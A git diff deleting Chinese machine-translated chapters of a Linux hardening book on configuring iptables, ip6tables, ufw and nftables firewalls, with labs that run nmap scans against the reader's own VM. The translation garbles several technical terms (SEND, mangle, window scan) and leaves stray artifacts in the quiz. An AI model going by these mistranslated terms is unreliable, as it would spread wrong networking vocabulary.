--dport 53 -j ACCEPT -``` - -IPv4 和 IPv6 的另一个很大的区别是,对于 IPv6,您必须允许比 IPv4 更多类型的 ICMP 消息。这是由于以下原因: - -* 有了 IPv6,新类型的 ICMP 消息已经取代了**地址解析协议** ( **ARP** )。 -* 对于 IPv6,动态 IP 地址分配通常是通过与其他主机交换 ICMP 发现消息来完成的,而不是通过 DHCP。 -* 对于 IPv6,当您需要通过 IPv4 网络隧道传输 IPv6 数据包时,需要回声请求和回声回复,即臭名昭著的 ping 数据包。 - -当然,我们仍然需要与 IPv4 相同类型的 ICMP 消息。所以,让我们从他们开始: - -```sh -donnie@ubuntu3:~$ sudo ip6tables -A INPUT -p icmpv6 --icmpv6-type 1 -j ACCEPT -[sudo] password for donnie: -donnie@ubuntu3:~$ sudo ip6tables -A INPUT -p icmpv6 --icmpv6-type 2 -j ACCEPT -donnie@ubuntu3:~$ sudo ip6tables -A INPUT -p icmpv6 --icmpv6-type 3 -j ACCEPT -donnie@ubuntu3:~$ sudo ip6tables -A INPUT -p icmpv6 --icmpv6-type 4 -j ACCEPT -donnie@ubuntu3:~$ -``` - -这些消息类型按出现顺序如下: - -* 无法到达目的地 -* 数据包太大 -* 超过时间 -* 数据包报头的参数问题 - -接下来,我们将启用回送请求(类型 128)和回送响应(类型 129),以便 IPv6 在 IPv4 隧道上工作: - -```sh -donnie@ubuntu3:~$ sudo ip6tables -A INPUT -p icmpv6 --icmpv6-type 128 -j ACCEPT -donnie@ubuntu3:~$ sudo ip6tables -A INPUT -p icmpv6 --icmpv6-type 129 -j ACCEPT -donnie@ubuntu3:~$ - -``` - -The Teredo protocol is one of a few different ways to tunnel IPv6 packets across an IPv4 network. This protocol is what requires echo requests and echo replies, the infamous ping packets, to be allowed through a firewall. However, if you search through your distro repositories for a Teredo package, you won't find it. That's because the Linux implementation of the Teredo protocol is called miredo. So, when installing the Teredo protocol on a Linux machine, you'll need to install the `miredo` and `miredo-server` packages. - -接下来我们需要的四种 ICMP 消息类型是链路本地多播接收器通知消息: - -```sh -donnie@ubuntu3:~$ sudo ip6tables -A INPUT --protocol icmpv6 --icmpv6-type 130 -donnie@ubuntu3:~$ sudo ip6tables -A INPUT --protocol icmpv6 --icmpv6-type 131 -donnie@ubuntu3:~$ sudo ip6tables -A INPUT --protocol icmpv6 --icmpv6-type 132 -donnie@ubuntu3:~$ sudo ip6tables -A INPUT --protocol icmpv6 --icmpv6-type 143 -donnie@ubuntu3:~$ - -``` - -按外观顺序排列如下: - -* 侦听器查询 -* 听众报告 -* 监听器完成 -* 侦听器报告 v2 - -接下来是邻居和路由器发现消息类型: - -```sh -donnie@ubuntu3:~$ sudo ip6tables -A INPUT -p icmpv6 --icmpv6-type 134 -j ACCEPT -donnie@ubuntu3:~$ sudo ip6tables -A INPUT -p icmpv6 --icmpv6-type 135 -j ACCEPT -donnie@ubuntu3:~$ sudo ip6tables -A INPUT -p icmpv6 --icmpv6-type 136 -j ACCEPT -donnie@ubuntu3:~$ sudo ip6tables -A INPUT -p icmpv6 --icmpv6-type 141 -j ACCEPT -donnie@ubuntu3:~$ sudo ip6tables -A INPUT -p icmpv6 --icmpv6-type 142 -j ACCEPT -donnie@ubuntu3:~$ -``` - -按外观顺序排列如下: - -* 路由器招标 -* 路由器广告 -* 邻居恳求 -* 邻居广告 -* 反向邻居发现请求 -* 反向邻居发现广告 - -篇幅不允许我详细介绍这些消息类型。所以,现在,让我们假设,为了让 IPv6 主机动态地为自己分配一个 IPv6 地址,它们是必需的。 - -当您使用安全证书验证连接到网络的路由器时,您还需要允许**安全邻居发现** ( **发送**)消息: - -```sh -donnie@ubuntu3:~$ sudo ip6tables -A INPUT -p icmpv6 --icmpv6-type 148 -j ACCEPT -donnie@ubuntu3:~$ sudo ip6tables -A INPUT -p icmpv6 --icmpv6-type 149 -j ACCEPT -donnie@ubuntu3:~$ -``` - -你的手指累了吗?如果是这样,不要害怕。下一组 ICMP 规则是最后一组。这一次,我们需要允许多播路由器发现消息: - -```sh -donnie@ubuntu3:~$ sudo ip6tables -A INPUT -p icmpv6 --icmpv6-type 151 -j ACCEPT -donnie@ubuntu3:~$ sudo ip6tables -A INPUT -p icmpv6 --icmpv6-type 152 -j ACCEPT -donnie@ubuntu3:~$ sudo ip6tables -A INPUT -p icmpv6 --icmpv6-type 153 -j ACCEPT -donnie@ubuntu3:~$ -``` - -最后,我们将添加我们的`DROP`规则来阻止其他一切: - -```sh -donnie@ubuntu3:~$ sudo ip6tables -A INPUT -j DROP -donnie@ubuntu3:~$ -``` - -现在,我知道你在想,哇,仅仅为了建立一个基本的防火墙*,就要跳过很多的障碍。*是的,你是对的,尤其是当你还需要为 IPv6 配置规则的时候。很快,我将向您展示 Ubuntu 人想出了什么让事情变得更简单。 - -You can get the whole scoop on how to use iptables on Ubuntu here: [https://help.ubuntu.com/community/IptablesHowTo](https://help.ubuntu.com/community/IptablesHowTo). - -# ip6 工作台的实践实验室 - -在本实验中,您将使用与之前 iptables 实验中相同的 Ubuntu 虚拟机。您将保留现有的 IPv4 防火墙设置,并为 IPv6 创建一个新的防火墙。让我们开始吧: - -1. 使用以下命令查看您的 IPv6 规则或缺少规则: - -```sh -sudo ip6tables -L -``` - -2. 创建 IPv6 防火墙。由于格式限制,我无法在此列出整个命令代码块。您可以在本章的目录中找到相应的命令,这些命令位于您可以从 Packt Publishing 网站下载的代码文件中。 -3. 使用以下命令查看新规则集: - -```sh -sudo ip6tables -L -``` - -4. 接下来,设置阻塞无效数据包的破坏表规则: - -```sh -sudo ip6tables -t mangle -A PREROUTING -m conntrack --ctstate INVALID -j DROP - -sudo ip6tables -t mangle -A PREROUTING -p tcp ! --syn -m conntrack --ctstate NEW -j DROP -``` - -5. 将新规则集保存到您自己的主目录中的文件,然后将规则文件传输到适当的位置: - -```sh -sudo ip6tables-save > rules.v6 -sudo cp rules.v6 /etc/iptables/ -``` - -6. 使用以下命令获取虚拟机的 IPv6 地址: - -```sh -ip a -``` - -7. 在安装了 Nmap 的计算机上,对虚拟机的 IPv6 地址执行 Windows 扫描。除了您自己的 IP 地址之外,该命令将如下所示: - -```sh -sudo nmap -6 -sW fe80::a00:27ff:fe9f:d923 -``` - -8. 在虚拟机上,使用以下命令观察触发了哪个规则: - -```sh -sudo ip6tables -t mangle -L -v -``` - -您应该看到其中一个规则的数据包计数器的非零数字。 - -9. 在安装了 Nmap 的计算机上,对虚拟机的 IPv6 地址执行 XMAS 扫描。除了您自己的 IP 地址之外,该命令将如下所示: - -```sh -sudo nmap -6 -sX fe80::a00:27ff:fe9f:d923 -``` - -10. 像以前一样,在虚拟机上,观察此扫描触发了哪个规则: - -```sh -sudo ip6tables -t mangle -L -v -``` - -本实验到此结束–祝贺您! - -到目前为止,你已经看到了 iptables 的好的、坏的和丑陋的一面。它非常灵活,iptables 命令中有很多功能。如果你擅长 shell 脚本,你可以创建一些相当复杂的 shell 脚本,用来在网络上的所有机器上部署 firewalld。 - -另一方面,做好每一件事可能相当复杂,尤其是如果您需要考虑您的机器必须同时运行 IPv4 和 IPv6,并且您为 IPv4 做的每一件事都必须再次为 IPv6 做。(如果你是受虐狂,你可能真的很享受。) - -# Ubuntu 系统的简单防火墙 - -ufw 已经安装在 Ubuntu 16.04 和 Ubuntu 18.04 上。它仍然使用 iptables 服务,但它提供了一组大大简化的命令集。只需执行一个简单的命令来打开所需的端口,并执行另一个简单的命令来激活它,您就拥有了一个良好的基本防火墙。每当您执行`ufw`命令时,它将自动配置 IPv4 和 IPv6 规则。光是这一点就能节省大量时间,默认情况下,我们已经用 iptables 手工配置了很多东西。 - -有一个图形前端,您可以在桌面计算机上使用,但是由于我们正在学习服务器安全性,我们将只在这里介绍命令行实用程序。 - -ufw is available for Debian, and other Debian-based distros, but it might not be installed. If that's the case, install it by using the `sudo apt install ufw` command. - -# 配置 ufw - -在 Ubuntu 18.04 和更高版本上,默认情况下已经启用了 ufw 系统服务,但是没有激活。换句话说,系统的服务正在运行,但它还没有执行任何防火墙规则。(在我们了解了如何打开您需要打开的端口之后,我将稍后向您展示如何激活它。)在其他 Linux 发行版上,例如旧的 Ubuntu 16.04,您可能会发现默认情况下 ufw 是禁用的。如果是这种情况,您需要启用它,如下所示: - -```sh -sudo systemctl enable --now ufw -``` - -我们要做的第一件事是打开端口`22`让它通过 Secure Shell 连接到机器,就像这样: - -```sh -sudo ufw allow 22/tcp -``` - -通过使用`sudo iptables -L`,您将看到新规则出现在`ufw-user-input`链中: - -```sh -Chain ufw-user-input (1 references) - target prot opt source destination - ACCEPT tcp -- anywhere anywhere tcp dpt:ssh -``` - -您还会看到这个命令的总输出相当长,因为我们用 iptables 做的很多事情已经用 ufw 完成了。事实上,这里有比我们用 iptables 做的更多的东西。例如,对于 ufw,我们已经有了速率限制规则来帮助保护我们免受 DoS 攻击,我们也有了记录关于已被阻止的数据包的日志消息的规则。这几乎是不大惊小怪,没有设置防火墙的混乱方式。(我一会儿就讲到*差不多*的部分。) - -在前面的`sudo ufw allow 22/tcp`命令中,我们必须指定 TCP 协议,因为 TCP 是我们安全外壳所需要的。我们也可以通过不指定协议来同时为 TCP 和 UDP 打开一个端口。例如,如果您正在设置一个 DNS 服务器,您将希望为两种协议打开端口`53`(您将看到端口`53`的条目被列为域端口): - -```sh - sudo ufw allow 53 - - Chain ufw-user-input (1 references) - target prot opt source destination - ACCEPT tcp -- anywhere anywhere tcp dpt:ssh - ACCEPT tcp -- anywhere anywhere tcp dpt:domain - ACCEPT udp -- anywhere anywhere udp dpt:domain -``` - -如果您使用`sudo ip6tables -L`,您将会看到前面两个示例都添加了 IPv6 规则。同样,您会看到我们对 ip6tables 命令所做的大部分工作已经得到了解决。(尤其令人高兴的是,我们不必为设置所有那些讨厌的 ICMP 规则而伤脑筋。) - -现在我们已经打开了所需的端口,我们将激活`ufw`,这样它将实际执行这些规则: - -```sh -sudo ufw enable -``` - -要查看防火墙配置的快速摘要,请使用`status`选项。输出应该如下所示: - -```sh -donnie@ubuntu-ufw:~$ sudo ufw status -Status: active - -To Action From --- ------ ---- -22/tcp LIMIT Anywhere -53 LIMIT Anywhere -22/tcp (v6) LIMIT Anywhere (v6) -53 (v6) LIMIT Anywhere (v6) - -donnie@ubuntu-ufw:~$ -``` - -接下来,我们将看看 ufw 防火墙文件。 - -# 使用 ufw 配置文件 - -可以在`/etc/ufw`目录中找到 ufw 防火墙规则。如您所见,规则存储在几个不同的文件中: - -```sh -donnie@ubuntu-ufw:/etc/ufw$ ls -l -total 48 --rw-r----- 1 root root 915 Aug 7 15:23 after6.rules --rw-r----- 1 root root 1126 Jul 31 14:31 after.init --rw-r----- 1 root root 1004 Aug 7 15:23 after.rules -drwxr-xr-x 3 root root 4096 Aug 7 16:45 applications.d --rw-r----- 1 root root 6700 Mar 25 17:14 before6.rules --rw-r----- 1 root root 1130 Jul 31 14:31 before.init --rw-r----- 1 root root 3467 Aug 11 11:36 before.rules --rw-r--r-- 1 root root 1391 Aug 15 2017 sysctl.conf --rw-r--r-- 1 root root 313 Aug 11 11:37 ufw.conf --rw-r----- 1 root root 3014 Aug 11 11:37 user6.rules --rw-r----- 1 root root 3012 Aug 11 11:37 user.rules -donnie@ubuntu-ufw:/etc/ufw$ -``` - -在列表的底部,你会看到`user6.rules`和`user.rules`文件。这两个文件你都不能手动编辑。您可以在完成编辑后保存文件,但是当您使用`sudo ufw reload`加载新的更改时,您会看到您的编辑已被删除。让我们看看`user.rules`文件,看看我们能在那里看到什么。 - -在文件的顶部,您将看到 iptables 过滤器表的定义,以及相关链的列表: - -```sh -*filter -:ufw-user-input - [0:0] -:ufw-user-output - [0:0] -:ufw-user-forward - [0:0] -. . . -. . . -``` - -接下来,在`### RULES ###`部分,我们有了用`ufw`命令创建的规则列表。以下是我们打开域名系统端口的规则: - -```sh -### tuple ### allow any 53 0.0.0.0/0 any 0.0.0.0/0 in --A ufw-user-input -p tcp --dport 53 -j ACCEPT --A ufw-user-input -p udp --dport 53 -j ACCEPT -``` - -如你所见,ufw 的核心其实只是 iptables。 - -在`### RULES ###`部分下面,我们可以看到防火墙阻止的任何数据包的日志记录规则: - -```sh -### LOGGING ### --A ufw-after-logging-input -j LOG --log-prefix "[UFW BLOCK] " -m limit --limit 3/min --limit-burst 10 - --A ufw-after-logging-forward -j LOG --log-prefix "[UFW BLOCK] " -m limit --limit 3/min --limit-burst 10 - --I ufw-logging-deny -m conntrack --ctstate INVALID -j RETURN -m limit --limit 3/min --limit-burst 10 - --A ufw-logging-deny -j LOG --log-prefix "[UFW BLOCK] " -m limit --limit 3/min --limit-burst 10 - --A ufw-logging-allow -j LOG --log-prefix "[UFW ALLOW] " -m limit --limit 3/min --limit-burst 10 - -### END LOGGING ### -``` - -这些信息被发送到`/var/log/kern.log`文件。为了在大量数据包被阻止时不会淹没日志记录系统,我们每分钟只向日志文件发送三条消息,突发速率为每分钟 10 条消息。这些规则中的大多数都会在日志消息中插入一个`[UFW BLOCK]`标签,这使得我们很容易找到它们。最后一个规则创建带有`[UFW ALLOW]`标签的消息,奇怪的是,`INVALID`规则没有插入任何类型的标签。 - -最后,我们有速率限制规则,每分钟每个用户只允许三个连接: - -```sh -### RATE LIMITING ### --A ufw-user-limit -m limit --limit 3/minute -j LOG --log-prefix "[UFW LIMIT BLOCK] " - --A ufw-user-limit -j REJECT --A ufw-user-limit-accept -j ACCEPT -### END RATE LIMITING ### -``` - -任何超过该限制的数据包都将被记录在带有`[UFW LIMIT BLOCK]`标签的`/var/log/kern.log`文件中。 - -`/etc/ufw user6.rules`文件看起来几乎一样,只是它是针对 IPv6 规则的。任何时候使用`ufw`命令创建或删除规则,它都会修改`user.rules`文件和`user6.rules`文件。 - -为了将在规则之前运行的规则存储在`user.rules`和`user6.rules`文件中,我们有`before.rules`文件和`before6.rules`文件。为了在`user.rules`和`user6.rules`文件中存储在规则之后运行的规则,我们有`after.rules`文件和`after6.rules`文件,你猜对了。如果需要添加无法通过`ufw`命令添加的自定义规则,只需手动编辑其中一对文件即可。(我们一会儿就会谈到这一点。) - -如果你看一下`before`和`after`文件,你会发现哪里已经为我们处理了这么多。这就是我们用 iptables/ip6tables 手工做的所有事情。 - -然而,你可能知道,所有这些美好的事物都有一个小小的警告。您可以使用 ufw 实用程序执行简单的任务,但是任何更复杂的任务都需要您手工编辑文件。(这就是我说 ufw 几乎没有大惊小怪,没有混乱的意思。)例如,在`before`文件中,您会看到已经实现了阻止无效数据包的规则之一。以下是`before.rules`文件的代码片段,您可以在文件顶部找到: - -```sh -# drop INVALID packets (logs these in loglevel medium and higher) --A ufw-before-input -m conntrack --ctstate INVALID -j ufw-logging-deny --A ufw-before-input -m conntrack --ctstate INVALID -j DROP -``` - -这两个规则中的第二个实际上丢弃了无效数据包,第一个规则记录它们。但是正如我们已经在*iptables*概述部分看到的,这个特殊的`DROP`规则不会阻止所有的无效数据包。而且,出于性能原因,我们更希望将此规则放在 mangle 表中,而不是现在的 filter 表中。为了解决这个问题,我们将编辑两个`before`文件。在您最喜欢的文本编辑器中打开`/etc/ufw/before.rules`文件,并在文件的最底部查找以下一对行: - -```sh -# don't delete the 'COMMIT' line or these rules won't be processed -COMMIT - -``` - -就在`COMMIT`行下面,添加以下代码片段来创建损坏表规则: - -```sh -# Mangle table added by Donnie -*mangle -:PREROUTING ACCEPT [0:0] --A PREROUTING -m conntrack --ctstate INVALID -j DROP --A PREROUTING -p tcp -m tcp ! --tcp-flags FIN,SYN,RST,ACK SYN -m conntrack --ctstate NEW -j DROP -COMMIT -``` - -现在,我们将对`/etc/ufw/before6.rules`文件重复这个过程。然后,我们将使用以下命令重新加载规则: - -```sh -sudo ufw reload -``` - -通过使用`iptables -L`和`ip6tables -L`命令,您将看到新的规则出现在 mangle 表中,就在我们希望它们出现的地方。 - -# ufw 基本用法的实践实验室 - -您需要在您的 Ubuntu 虚拟机的干净快照上完成本实验。让我们开始吧: - -1. 关闭你的 Ubuntu 虚拟机,恢复快照,去掉你刚才做的所有 iptables 的东西。(或者,如果您愿意,可以从一个新的虚拟机开始。) -2. 重新启动虚拟机后,验证 iptables 规则现在是否已消失: - -```sh -sudo iptables -L -``` - -3. 查看`ufw`的状态。打开端口`22/TCP`,然后启用`ufw`。然后,查看结果: - -```sh -sudo ufw status -sudo ufw allow 22/tcp -sudo ufw enable -sudo ufw status -sudo iptables -L -sudo ip6tables -L -``` - -4. 这次,为 TCP 和 UDP 都打开端口`53`: - -```sh -sudo ufw allow 53 -sudo iptables -L -sudo ip6tables -L -sudo ufw status -``` - -5. `cd`进入`/etc/ufw`目录。熟悉那里文件的内容。 -6. 在你喜欢的文本编辑器中打开`/etc/ufw/before.rules`文件。在文件底部的`COMMIT`行下方,添加以下代码片段: - -```sh -# Mangle table added by Donnie -*mangle -:PREROUTING ACCEPT [0:0] --A PREROUTING -m conntrack --ctstate INVALID -j DROP --A PREROUTING -p tcp -m tcp ! --tcp-flags FIN,SYN,RST,ACK SYN -m conntrack --ctstate - -NEW -j DROP -COMMIT -``` - -7. 对`/etc/ufw/before6.rules`文件重复步骤 6 。 -8. 使用以下命令重新加载防火墙: - -```sh -sudo ufw reload -``` - -9. 使用以下命令遵守规则: - -```sh -sudo iptables -L -sudo iptables -t mangle -L -sudo ip6tables -L -sudo ip6tables -t mangle -L -``` - -10. 快速查看`ufw`状态: - -```sh -sudo ufw status -``` - -实验到此结束,祝贺你! - -尽管 ufw 很酷,但它仍然使用老式的 iptables 技术作为核心引擎。有没有更现代的东西我们可以代替使用?没错,我们将在下一章讨论这个问题。 - -# 摘要 - -在本章中,我们看了 netfilter 防火墙的四个不同前端中的两个。首先,我们看了我们信任的老朋友,iptables。我们看到,尽管它已经存在了很长时间,并且仍然有效,但它确实有一些缺点。然后,我们看到了 Ubuntu 的简单防火墙如何极大地简化了基于 iptables 的防火墙的设置。 - -在分配给本章的篇幅中,我只介绍了设置基本主机保护所需的要点。然而,这应该足以让你开始。 - -在下一章中,我们将看看 nftables 和 firewalld,这两个最新的 netfilter 接口。到时候见。 - -# 问题 - -1. 以下哪个陈述是正确的? - A. iptables 是最容易使用的防火墙系统。 - B .使用 iptables,您创建的任何规则都适用于 IPv4 和 IPv6。 - C .使用 iptables,您必须独立于 IPv4 规则创建 IPv6 规则。 - D .使用 ufw,您必须单独创建 IPv6 规则和 IPv4 规则。 -2. Linux 防火墙的官方名称是什么? - a . iptables - b . ufw - c . nftables - d .网络过滤器 -3. 有了 ufw,你需要做的一切都可以通过 ufw 实用程序来完成。 - A .真 - B .假 -4. 您会使用哪个 iptables 命令来查看特定规则丢弃了多少数据包? -5. 您会使用以下哪个 ufw 命令来打开默认的安全外壳端口? - a .`sudo ufw allow 22`T5】b .`sudo ufw permit 22`T6】c .`sudo ufw allow 22/tcp`T7】d .`sudo ufw permit 22/tcp` -6. 在 iptables 中,以下哪个目标会导致数据包被阻止而不向源发送回通知? - a .`STOP`T5】b .`DROP`T6】c .`REJECT`T7】d .`BLOCK` -7. 以下六个选项中的哪一个是 iptables 中的表格? - A .网络过滤器 - B .过滤器 - C .撕裂 - D .安全 - E. ip6table - F. NAT - -# 进一步阅读 - -* 25 iptables netfilter 防火墙示例:[https://www.cyberciti.biz/tips/linux-iptables-examples.html](https://www.cyberciti.biz/tips/linux-iptables-examples.html) -* Linux IPv6 操作指南:[http://tldp.org/HOWTO/html_single/Linux+IPv6-HOWTO/](http://tldp.org/HOWTO/html_single/Linux+IPv6-HOWTO/) -* 在防火墙中过滤 ICMPv6 消息的建议:[https://www.ietf.org/rfc/rfc4890.txt](https://www.ietf.org/rfc/rfc4890.txt) -* ufw 限速:[https://45squared.com/rate-limiting-with-ufw/](https://45squared.com/rate-limiting-with-ufw/) -* UFW 社区帮助维基:[https://help.ubuntu.com/community/UFW](https://help.ubuntu.com/community/UFW) -* 如何在 Ubuntu 18.04 上设置带有 UFW 的 Linux 防火墙:[https://linuxize . com/post/如何设置带有 ubuntu-18-04 上的 ufw 的防火墙/](https://linuxize.com/post/how-to-setup-a-firewall-with-ufw-on-ubuntu-18-04/)* \ No newline at end of file diff --git a/docs/master-linux-sec-hard/04.md b/docs/master-linux-sec-hard/04.md deleted file mode 100644 index 849d7217..00000000 --- a/docs/master-linux-sec-hard/04.md +++ /dev/null @@ -1,1663 +0,0 @@ -# 四、使用防火墙保护您的服务器——第 2 部分 - -在[第 3 章](03.html)*用防火墙保护您的服务器-第 1 部分*中,我们介绍了 iptables 和 ufw,一个对 iptables 用户友好的前端。他们已经存在很多年了,他们确实在工作。然而,在这一章,我们将看看一些更新的技术,可以更有效地完成这项工作。 - -首先,我们来看看 nftables。我们将看看它的结构、命令和配置。然后,我们将对 firewalld 进行同样的操作。在这两种情况下,你都会得到大量的实践。 - -我们将在本章中讨论以下主题: - -* nftables——一种更通用的防火墙系统 -* 红帽系统的防火墙 - -# 技术要求 - -本章的代码文件可以在这里找到:[https://github . com/packt publishing/Mastering-Linux-Security-and-Harding-第二版](https://github.com/PacktPublishing/Mastering-Linux-Security-and-Hardening-Second-Edition)。 - -# nftables——一种更通用的防火墙系统 - -现在,让我们把注意力转向 nftables,这个街区的新来的孩子。那么,nftables 给表带来了什么?(是的,这个双关语是有意的。): - -* 对于所有不同的网络组件,您可以忘记需要单独的守护程序和实用程序。iptables、ip6tables、ebtables 和 arptables 的功能现在都合并在一个简洁的包中。nft 实用程序现在是您唯一需要的防火墙实用程序。 -* 使用 nftables,您可以创建多维树来显示您的规则集。这使得故障排除变得非常容易,因为现在可以更容易地通过所有规则跟踪数据包。 -* 使用 iptables,默认情况下会安装过滤器、NAT、mangle 和安全表,无论您是否使用每一个。 -* 使用 nftables,您只创建您想要使用的表,从而提高性能。 -* 与 iptables 不同,您可以在一个规则中指定多个操作,而不必为每个操作创建多个规则。 -* 与 iptables 不同,新规则是自动添加的。(这是一种花哨的说法,表示不再需要为了添加一个规则而重新加载整个规则集。) -* nftables 有自己的内置脚本引擎,允许您编写效率更高、可读性更强的脚本。 -* 如果您已经有许多 iptables 脚本需要使用,您可以安装一套实用程序来帮助您将它们转换为 nftables 格式。 - -nftables 唯一真正的缺点是它仍然是一项正在进行的工作。它将完成大部分 iptables 的功能,但是 Ubuntu 到 19.04 版本的 nftables 仍然缺少一些更高级的功能,这些功能在基于 iptables 的解决方案中可能是理所当然的。话虽如此,最新版本的 nftables 已经在一定程度上解决了这个问题,但在撰写本文时,它并不在 Ubuntu 的当前版本中。(当你读到这篇文章时,这可能会改变。)要查看您拥有哪个版本的 nftables,请使用以下命令: - -```sh -sudo nft -v -``` - -如果该版本显示为版本 0.9.1 或更高版本,则您可以使用的功能比以前更多。 - -# 了解 nftables 表和链 - -如果你习惯了 iptables,你可能会认识到一些 nftables 术语。唯一的问题是,有些术语的用法不同,含义也不同。让我们看一些例子,这样你就知道我在说什么了: - -* **表**:nftables 中的表指的是特定的协议家族。表格类型有 ip、ip6、inet、arp、网桥和 netdev。 -* **链**:nftables 中的链大致等同于 iptables 中的表。例如,在 nftables 中,可以有过滤器、路由或 NAT 链。 - -# nftables 入门 - -让我们从 Ubuntu 虚拟机的干净快照开始,禁用 ufw,然后安装 nftables 包,如下所示: - -```sh -sudo apt install nftables - -``` - -现在,让我们看看已安装的表的列表: - -```sh -sudo nft list tables -``` - -你没看到任何桌子,是吗?所以,让我们加载一些。 - -# 在 Ubuntu 16.04 上配置 nftables - -如果您需要使用较旧的 Ubuntu 16.04,您会看到`/etc`目录中的默认`nftables.conf`文件已经有了基本的 nft 防火墙配置的开始: - -```sh -#!/usr/sbin/nft -f -flush ruleset -table inet filter { - chain input { - type filter hook input priority 0; - iif lo accept - ct state established,related accept - # tcp dport { 22, 80, 443 } ct state new accept - ip6 nexthdr icmpv6 icmpv6 type { nd-neighbor-solicit, nd-router-advert, nd-neighbor-advert } accept - - counter drop - } -} -``` - -我们将在稍后介绍如何使用它。 - -# 在 Ubuntu 18.04 上配置 nftables - -在我们将要使用的 Ubuntu 18.04 虚拟机上,默认的`nftables.conf`文件只不过是一个毫无意义的占位符。您需要的文件在别处,您将复制它来替换默认的`nftables.conf`文件。让我们来看看。 - -首先,我们将进入存储示例配置的目录,并列出示例配置文件: - -```sh -cd /usr/share/doc/nftables/examples/syntax -ls -l -``` - -您应该会看到类似以下内容的内容: - -```sh -donnie@munin:/usr/share/doc/nftables/examples/syntax$ ls -l - total 60 - -rw-r--r-- 1 root root 150 Feb 2 2018 arp-filter - -rw-r--r-- 1 root root 218 Feb 2 2018 bridge-filter - -rw-r--r-- 1 root root 208 Feb 2 2018 inet-filter -. . . -. . . - -rw-r--r-- 1 root root 475 Feb 2 2018 README - -rw-r--r-- 1 root root 577 Feb 2 2018 workstation - donnie@munin:/usr/share/doc/nftables/examples/syntax -``` - -如果查看`workstation`文件的内容,会发现和 Ubuntu 16.04 上的旧默认`nftables.conf`文件是一样的。 - -接下来,我们将工作站文件复制到`/etc`目录,将其名称更改为`nftables.conf`(注意,这将覆盖旧的`nftables.conf`文件,这是我们想要的): - -```sh -sudo cp workstation /etc/nftables.conf -``` - -对于 Ubuntu 16.04 或 Ubuntu 18.04,以下是您将在`/etc/nftables.conf`文件中看到的内容的详细信息: - -* `#!/usr/sbin/nft -f`:虽然可以用 nftables 命令创建普通的 Bash shell 脚本,但是最好使用 nftables 附带的内置脚本引擎。这样,我们就可以使我们的脚本更具可读性,并且我们不必在我们想要执行的所有内容前面键入`nft`。 -* `flush ruleset`:我们想从头开始,所以我们会清除任何可能已经加载的规则。 -* `table inet filter`:这将创建一个 inet 系列过滤器,适用于 IPv4 和 IPv6。这个表的名字是`filter`,但它也可以是更具描述性的东西。 -* `chain input`:在第一对花括号内,我们有一个名为`input`的链。(再说一遍,这个名字本可以更具描述性。) -* `type filter hook input priority 0;`:在下一对花括号内,我们定义我们的链并列出规则。该链条被定义为`filter`型。`hook input`表示该链用于处理传入的数据包。因为这个链有一个`hook`和一个`priority`,它将直接接受来自网络堆栈的数据包。 -* 最后,我们有一个非常基本的主机防火墙的标准规则,从**输入接口** ( **iif** )规则开始,它允许环回接口接受数据包。 -* 接下来是标准的连接跟踪(`ct`)规则,该规则接受响应来自该主机的连接请求的流量。 -* 然后,有一个注释掉的规则来接受安全外壳以及安全和不安全的网络流量。`ct state` new 表示防火墙将允许其他主机在这些端口上发起到我们服务器的连接。 -* `ipv6`规则接受邻居发现数据包,允许 IPv6 功能。 -* 最后的`counter drop`规则无声地阻塞所有其他流量,并计算数据包的数量和它阻塞的字节数。(这是一个示例,说明如何让一个 nftables 规则执行多个不同的操作。) - -如果你在你的 Ubuntu 服务器上需要的只是一个基本的、简单的防火墙,你最好的选择是编辑这个`/etc/nftables.conf`文件,这样它就适合你自己的需要。首先,让我们将其设置为与我们为 iptables 部分创建的设置相匹配。换句话说,假设这是一个 DNS 服务器,我们需要允许连接到端口`22`和端口`53`。去掉`tcp dport`线前的注释符号,去掉端口`80`和`443`,增加端口`53`。该行现在应该如下所示: - -```sh -tcp dport { 22, 53 } ct state new accept -``` - -注意如何使用一个 nftables 规则打开多个端口。 - -DNS 也使用端口`53/udp`,所以我们给它加一行: - -```sh -udp dport 53 ct state new accept -``` - -当您只打开一个端口时,您不需要用花括号将端口号括起来。打开多个端口时,只需将逗号分隔的列表包含在花括号中,每个逗号后、第一个元素前和最后一个元素后都有一个空格。 - -加载配置文件并查看结果: - -```sh -donnie@ubuntu-nftables:/etc$ sudo systemctl reload nftables -donnie@ubuntu-nftables:/etc$ sudo nft list ruleset -table inet filter { - chain input { - type filter hook input priority 0; policy accept; - iif "lo" accept - ct state established,related accept - tcp dport { ssh, domain } ct state new accept - udp dport domain ct state new accept - icmpv6 type { nd-router-advert, nd-neighbor-solicit, nd-neighbor-advert } accept - counter packets 1 bytes 32 drop - } -} -donnie@ubuntu-nftables:/etc$ -``` - -`counter drop`规则是 nftables 规则如何做多件事的另一个例子。在这种情况下,规则会丢弃并计数不需要的数据包。到目前为止,该规则已经阻止了一个数据包和 32 个字节。为了演示这是如何工作的,假设我们想要在数据包被丢弃时创建一个日志条目。只需将`log`关键字添加到`drop`规则中,如下所示: - -```sh -counter log drop -``` - -为了更容易找到这些消息,请在每个日志消息中添加一个标签,如下所示: - -```sh -counter log prefix "Dropped packet: " drop -``` - -现在,当你需要仔细阅读`/var/log/kern.log`文件来查看你已经丢失了多少数据包时,只需搜索`Dropped packet`文本字符串。 - -现在,假设我们想要阻止某些 IP 地址到达这台机器的安全外壳端口。这样做,我们可以编辑文件,在打开端口`22`的规则上面放置一个`drop`规则。文件的相关部分如下所示: - -```sh -tcp dport 22 ip saddr { 192.168.0.7, 192.168.0.10 } log prefix "Blocked SSH packets: " drop - -tcp dport { 22, 53 } ct state new accept -``` - -重新加载文件后,我们将阻止来自两个不同 IPv4 地址的 SSH 访问。从这两个地址中的任何一个登录的任何尝试都将创建带有`Blocked SSH packets`标签的`/var/log/kern.log`消息。请注意,我们将`drop`规则置于`accept`规则之前,因为如果`accept`规则先被读取,`drop`规则将不起作用。 - -接下来,我们需要允许所需类型的 ICMP 数据包,如下所示: - -```sh -ct state new,related,established icmp type { destination-unreachable, time-exceeded, parameter-problem } accept - -ct state established,related,new icmpv6 type { destination-unreachable, time-exceeded, parameter-problem } accept -``` - -在这种情况下,需要为 ICMPv4 和 ICMPv6 制定单独的规则。 - -最后,我们将通过向过滤器表添加新的预路由链来阻止无效数据包,如下所示: - -```sh -chain prerouting { - type filter hook prerouting priority 0; - - ct state invalid counter log prefix "Invalid Packets: " drop - - tcp flags & (fin|syn|rst|ack) != syn ct state new counter log drop - } -``` - -现在,我们可以保存文件并关闭文本编辑器。 - -Due to formatting constraints, I can't show the entire completed file here. To see the whole file, download the code file from the Packt website, and look in the `Chapter 4` directory. The example file you seek is the 